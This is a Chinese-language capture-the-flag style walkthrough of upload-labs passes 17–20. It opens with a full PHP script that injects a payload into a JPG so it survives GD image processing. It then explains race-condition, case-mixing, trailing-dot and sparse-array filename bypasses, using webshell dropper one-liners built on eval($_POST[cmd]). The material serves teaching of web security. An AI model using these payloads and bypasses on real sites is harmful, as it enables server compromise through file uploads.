<?php/*?The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.?1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>?In case of successful injection you will get a specially crafted image, which should be uploaded again.?Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.?Sergey Bobrov @Black2Fan.?See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/?*/?$miniPayload = "<?=phpinfo();?>";??if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}?if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}?set_error_handler("custom_error_handler");?for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;?if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}?while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');?function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}?function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}?class DataInputStream {private $binData;private $order;private $size;?public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}?public function seek() {return ($this->size - strlen($this->binData));}?public function skip($skip) {$this->binData = substr($this->binData, $skip);}?public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}?public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}?public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}?>
但是這個腳本運行之前要先準備一張1.jpg圖片,然后運行腳本
然后就跟png
的處理方式一樣了
pass-17
代碼審計
這一關是一個邏輯漏洞,由此就會產生競爭型漏洞,來看下面的代碼
$is_upload = false;$msg = null;?if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;?if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";unlink($upload_file);}}else{$msg = '上傳出錯!';}}
看第二個if
判斷里面,漏洞就在這里,它先判斷文件是否在白名單里,如果不在就不允許上傳并刪除,反之允許上傳。
在它判斷出不允許上傳到刪除這個時間間隙里,我們可以競爭。
即,在它判斷并且還沒有改名的極短時間內,我們可以訪問到這個文件,如果這個文件的php
代碼是在當前目錄的上一級目錄生成我們的實際payload
,那么即使它判斷完畢,把我們先上傳的文件刪除也沒關系,因為我們已經生成一個實際的payload
在上一級目錄了,而這個目錄它是刪不了的,這樣我們就成功上傳webshell
了。
文件上傳
1. 準備php文件
?<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST[cmd]);)?>');
2. 上傳
人跟程序競爭基本搞不了,所以使用Burp
抓包。
再靶場上傳之后,使用Burp
抓包,然后發給Intruder
模塊,然后不停的發包,然后再瀏覽器不停的訪問,具體操作如下
-
抓包改包
-
驗證
pass-18
代碼審計
//index.php$is_upload = false;$msg = null;if (isset($_POST['submit'])){require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已經被上傳,但沒有重命名。';break; case -1:$msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';break; case -2:$msg = '上傳失敗,上傳目錄不可寫。';break; case -3:$msg = '上傳失敗,無法上傳該類型文件。';break; case -4:$msg = '上傳失敗,上傳的文件過大。';break; case -5:$msg = '上傳失敗,服務器已經存在相同名稱文件。';break; case -6:$msg = '文件無法上傳,文件不能復制到目標目錄。';break; ? ? ?default:$msg = '未知錯誤!';break;}}?//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );?.................. ?/** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}?$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}?$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}?$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}}?// if we are here, we are ready to move the file to destination?$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}?// check if we need to rename the file?if( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}}// if we are here, everything worked as planned :)?return $this->resultUpload( "SUCCESS" );}.................. };
這個代碼看起來很多,但是對我們來說,重點在這里
$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}?// check if we need to rename the file?if( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}}
這里就表明了,它的處理邏輯還是先上傳,再重命名,這樣又會出現一個時間間隙,我們又可以競爭。
只不過有了一個白名單的限制,我們不能上傳.php
文件了不過可以上傳圖片碼,但是圖片碼也不能解析,還需要一個文件包含。
文件上傳
1. 準備圖片碼
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST["cmd"]);');或<?php file_put_contents('../wehshell.php','<?php phpinfo();');文件保存為:democompete.php然后使用copy命令,構造圖片碼并重命名為1.jpg。然后上傳。
然后在瀏覽器訪問以下路徑
http://10.128.133.182/upload-labs-env/WWW/include.php?file=upload/1.jpg
2. Burp抓包
因為時間間隙太短,最好使用Burp
,一邊不斷發包,一邊配合python
腳本,不斷訪問指定URL
。這樣成功率更高。
抓包,然后用Intruder
模塊持續發包
運行python
腳本,持續訪問文件
3. 在文件夾里查看
pass-19
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");?$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);?if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上傳出錯!';}}else{$msg = '禁止保存為該類型文件!';}?} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
這里又是一個黑名單攔截,但是我們觀察它的黑名單,并沒有大寫限制,所以一種方法是把php
的后寫成大小寫混合的樣式,比如.pHP
;
還有一種是利用php
和windows
文件系統的特性來做文章,windows
就是會把.、空格還有::$DATA自動去掉
,而php
是因為move_upload_file()
函數,
這個函數會自動去掉文件末尾的/.
。所以,在上傳的時候,我們使用Burp
抓包,然后修改一下文件后綴,那就可以成功。
文件上傳
1. 大小寫
準備這樣一個php文件
然后就上傳,之后查看一下就可以驗證了
上傳
下面這張是上傳之后的樣子,有那個破碎的圖片樣式,就表示成功了
然后在文件夾查看一下
2. 添加后綴
直接上傳一個php
文件,
然后使用Burp
抓包,把后綴改一下再放包,然后文件夾驗證一下
先加一個.
再加一個/
可以看到都成功了
pass-20
代碼審計
$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){//檢查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上傳該類型文件!";}else{//檢查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}?$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上傳該后綴文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上傳成功!";$is_upload = true;} else {$msg = "文件上傳失敗!";}}}}else{$msg = "請選擇要上傳的文件!";}
這一關有一點繞,但是呢也還是比較簡單。
它的邏輯是這樣的:
首先是一個前端檢測,
?$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上傳該類型文件!";}
檢測通過了就判斷我們傳入的是不是一個數組,如果不是,那就把文件名以.
分割,進行數組化,
?if (!is_array($file)) {$file = explode('.', strtolower($file));}
然后取數組的最后一個元素,也就是我們文件的后綴名,進行一個白名單過濾,
?$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上傳該后綴文件!";
檢測通過了,再把文件重命名回來,
?$file_name = reset($file) . '.' . $file[count($file) - 1];
問題就出在這里,這個count
函數,它在計算的時候如果遇到的數組是稀疏的(某些索引未定義),count()
只會計算已定義的索引,也就是實際有值的索引。
正常來說,我們傳入的文件是abc.jpg
,經過數組化之后,0
下標是abc
,1
下標是jpg
,它計算出2
,然后進行一個count($file) - 1
那么就會有$file[1]
,也就是jpg
,然后用reset
函數取數組第一個元素,也就是abc
,這樣就正好再次組成文件名abc.jpg
。然而,如果在傳入文件的時候,我們通過Burp
抓包,構建一個稀疏數組,
比如這樣的
?["web.php",,"jpg"]
那么在計算的時候,得到的結果還是2
,然后又減去1
,這樣就有$file[1]
,而這里的1
下標為空(是什么都沒有。而不是null
),這樣重命名,那么最后文件的名稱就是web.php.
,
而這個.
又可以利用windows
系統的文件特性去掉,這樣,我們最終就可以得到web.php
文件,也就能成功實現上傳webshell
的目的。
文件上傳
1. 上傳
2. 抓包改包
這里1
的位置要改為圖示的內容,因為這里是一個前端繞過,不改的話不行,具體見pass-02
。
2
的位置改為圖示的數字,下標為0
3、4
部分是按照結構復制2
部分得到的,其中3
的下標一定不要是1
,不然就沒有意義了,
而4
的位置呢就根據白名單寫,寫一個就好了
然后Send就可以了
3. 驗證
這里可以看到info.php
已經成功上傳了